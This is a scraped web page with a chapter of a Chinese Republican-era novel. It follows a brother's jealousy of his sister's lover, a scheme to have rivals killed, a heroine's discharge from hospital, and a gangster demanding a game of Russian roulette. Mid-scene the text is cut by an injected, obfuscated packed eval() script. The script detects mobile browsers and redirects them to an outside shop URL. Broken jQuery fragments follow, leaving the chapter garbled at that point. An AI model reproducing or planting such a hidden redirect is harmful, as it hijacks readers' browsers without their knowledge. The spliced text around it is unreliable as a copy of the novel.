65.出院
作品:《听经[民国]》 袁孝勋从未设想过有朝一日姐姐会自由恋爱,太超出他的预期了,你不是要做男人吗?她在他身边,萎缩成一个女人了。
薛莲山是太标准的男人了,首先他高,其次他的长相简直是对中国几千年君子形象的一个概括,最后他情绪稳定。每次袁孝勋看到父亲,父亲总是情绪稳定,没有任何一个人的不幸能撼动他;反观家里,妈妈、姐姐、他,三个女人,总是互扇巴掌。因此他认为情绪稳定是非常男性化的特质。
每回袁孝慈急赤白脸地对着薛莲山说几句话,后者抚着她的脸温声几句,她也立刻笑了。
某个夜里袁孝勋隔着一堵墙,听到姐姐的喘息。姐姐嫌他声音尖细,她自己说话则追求一个掷地有声,现在她一步步地放弃追求、放弃抵御,任由自己化作女人、化作恋爱中的傻子、化作一滩春水。
“嗯——”长长的一声后,戛然断开。
袁孝勋知道那个狗日的薛莲山进入她了!他猛地翻身坐起,满头满脸都是汗,简直想吐。他感觉是自己在进入她,把暴力还给她、把支配权夺回来、居高临下地看她的身体,谁是男人、谁是女人,从此泾渭分明;又感觉是自己正在被侵占,他和姐姐同根生,他们是一体,姐姐失贞的这夜里,他也失了贞。
太恶心了。他用被子蒙住脸,在闷热、密闭的黑暗空间里浅浅地呼吸着,呕吐的欲望越来越强。太恶心了,男人和女人那回事。
袁孝慈对他的心理活动一无所知,她对世上的一切事情都一无所知了,脸上浮着淡淡的红晕,转着圈儿下楼。她说:“你看我今天有什么不一样?”
薛莲山端详她好一阵,“画了个眉峰。”
“还有呢?”
“饶了我吧,看不出来了!”
“我烫了睫毛。”
“烫了吗?我以为你的睫毛天生就是这样。”他凑得很近去看,然后在她眼角吻了一下。袁孝慈咯咯直笑。袁孝勋青白着一张脸坐在远处,觉得她疯了。他们还戴着孝啊。
不管他和袁孝慈是爱彼此还是恨彼此,只是他们两个人的事,只有他们两个人。现在薛莲山插进来,把他们维持着微妙平衡的关系彻底打乱。有时候情侣俩交换一个眼神,朝他努努下巴,然后一齐笑起来——袁孝勋要恨死了!最终,是他们结成了同盟。
原来你需要同盟,需要一点爱。为什么不选我呢?
答案他其实也知道,因为袁孝慈要真正的男人,不是没用的狗腿子。他心里隐隐地刺痛了一下,但凡你当初拉我一把,我都不至于这么没用。晚了,什么都晚了,堕落得太久,回不了头了。
最令他惊诧的是,薛莲山并不和袁孝慈结婚,几个月后,离开了香港。
袁孝慈没向他解释过什么,他们之间只有最基础的沟通,从不深度交流。袁孝勋也不问,但一连几夜,似乎还能幻听到隔壁的动静,听到姐姐连笑带喘,再仔细一听,只听到她在啜泣。
他不敢相信在姐姐向那人雌伏之后,那人还不要她。那人根本就不是为了爱来的,是为了征服来的,夺走了她的贞操,也夺走了他的。本是同根生,她输了,连带着他一败涂地。他以为她英明神武,他以为她坚若磐石,到头来,她只是个糊涂女人,不过如此。
袁孝勋想要冷笑,但是面部肌肉僵冷,嘴角牵扯不动;用手一抹,原来自己也已满面泪痕。
本是同根生,本是同根生。
有人在敲门。他懒懒地趴在桌上,不想动,陈幼兰也不指望他,下去找管家要钥匙,开了门,轻声说:“我娘出门去了。你们刚才在说什么?”
“他知道是你。”
“这么快?”
“我跟你说过!”袁孝勋跳起来,“你表姐成他老婆了,就不要惹了!你非不听!你要害死我了,他说他三天后就要跟我们打官司,除非把你六叔交出去。”
陈幼兰的脸涨红了,“不行,六叔几乎就是我爹。”
“哈,你爹半死不活,我爹如日中天啊!真惹上官司了,他能把我打死。我不管你了,我现在就去找姓薛的——”
“不,孝勋,等一等,”她坐在书桌后的单人沙发上,“冷静一点。我们带着六叔暂时回温州避一避,让六叔把伤养好,等他们找到我们。”
“找到我们就完了,可以直接定性为畏罪潜逃。”
“找到温州去,我就有办法把他们解决掉。温州有我爹和六叔的旧部下。兵都是卸甲的兵了,许久不扛枪,但解决两个势单力薄的人还是绰绰有余。”
袁孝勋跌坐回椅子上,和她对望着,喃喃道:“没有你这样乱来的。对于你表姐的事,我就不同意,现在又加一个薛莲山。”
“你怕他?世上大多数人看上去不可战胜,实则外强中干。你一点也不比他差,不要怕。”
袁孝勋长长地叹出一口气,将手肘支在膝盖上、捂住脸,偏长的头发垂下,盖住半张脸。对面的陈幼兰亭亭端坐,垂着眼瞳俯视他,少顷,伸手插进了他的头发里。于是袁孝勋的脑袋越垂越低,最终搁在了她膝上。
一天后,金雪池出院了。
她那伤口其实不深,按时换药就行,最糟糕的地方在于失血太多。所幸年轻健康,吃吃喝喝补养回来就好。小桂像伺候月子一样给她做好饭好菜吃,在医院的几天里,她都吃得相当满足了。
薛莲山一大早就开车去接她,结果这破车再度中途抛锚,他找到最近的电话亭打给汽修公司拖车、等人来、再搭电车到医院,已经是中午时分。还好金雪池在聚精会神地做象棋题,并没体会到苦苦等他一上午的滋味。
临走前,她把那条破了口的旗袍要了回来。旗袍做工很好、结实耐穿,且漂亮,当初花了六七十法币买的,可以穿很多年。“那件大衣呢?”
“大衣我当时随手扔路上了。”
“唉。”她惋惜地念念着,“麂皮的呢。”
薛莲山拍了一下她的脑袋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303961|192557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“对不起。”
“这没有什么对不起的,你当时是为了帮我止血。”
“我是说没给你买新衣服。”
“你自己也没买,没关系的。”
薛莲山借前台的电话打给汽车行,叫了一部汽车来,然后用从家里带来的帽子围巾把金雪池裹了个严严实实,搂着她上了车。两人秘密地回到家里,小桂在门厅前放了个火盆,去去晦气。
他们一点钟跨过去,晦气两点钟就追来了。
先是催债的,薛莲山和颜悦色地和他们聊了半天,他们也和颜悦色地接受了他的说辞并离去,但一出门,就剪断了薛公馆的电线,导致全屋停电。
没过多久,门又被敲响。他以为是催债的回来了,亲自去开门,一开门就被手枪抵住了额头。
定青和小桂同时叫起来,金雪池一开始为了避人耳目躲在房间里,闻声而出,扒在栏杆上往下望。薛莲山倒是淡定,举起双手后,打量了一番对方的着装。这人不怕冷似的,只穿对襟白色单衫,袖子还卷到了小臂上。
“上海青帮?”他向对方微笑了一下,“大少爷让你来的?”
“猜得这么准,你问心有愧。”
话音未落,邵子驹就背着手踱进来,身后还跟了一个小弟。他比一年前瘦了,脸色蜡黄、眼窝凹陷,脂肪一流失,就使本还方正的脸型变得崎岖起来,显出几分猴相,像他弟弟;身着靛青长衫,因为旅途遥远,已经污迹斑斑。
他无奈地一笑,“我没有愧,但我理解你的心情。”
邵子驹一屁股坐在沙发上,拎了拎长衫下摆,环视四周,发现这房子比愚园的薛公馆差远了。原来他也过得不怎么样,不如他想象中的逍遥。
“你理解我的心情?你说我是什么心情?”
“从小带大的弟弟忽然没了......”
“你还知道那是我弟弟,不是你弟弟?你怎么敢让他为你死在外面?”
“大少爷,你太言重了。”薛莲山朝定青小桂摆手示意他们上楼,“第一,那纯粹是个意外,我们都没反应过来。第二,是他自愿来找我的,不是我让他来。当然,我不否认子骏是为我而死。你要是也认同这一点,现在毙了我,他不是白死了?”
邵子驹冷笑一声,“你到底有什么本事,怎么男女老少都喜欢你?子骏跟你玩的好,这我知道,人也确实不是你杀的,我不打算直接毙了你。但是姆妈死之前逼着我发誓,有一口稠的、不给子骏吃稀的,我怎么样都要给她一个交代......这样吧。”
他从随身携带的提包里掏出一把左轮手枪、三颗子弹,放在两人中间的圆几上。
“这把手枪有六个槽,三发子弹,随你以怎样的排列方式填进去。填进去后,转动轮盘,然后对着自己脑袋开一枪。死了活该,要是没死,就算子骏的在天之灵再救你一次,我不追究了。”他用力拍了一下圆几,“二分之一的概率,很公平。请吧!”

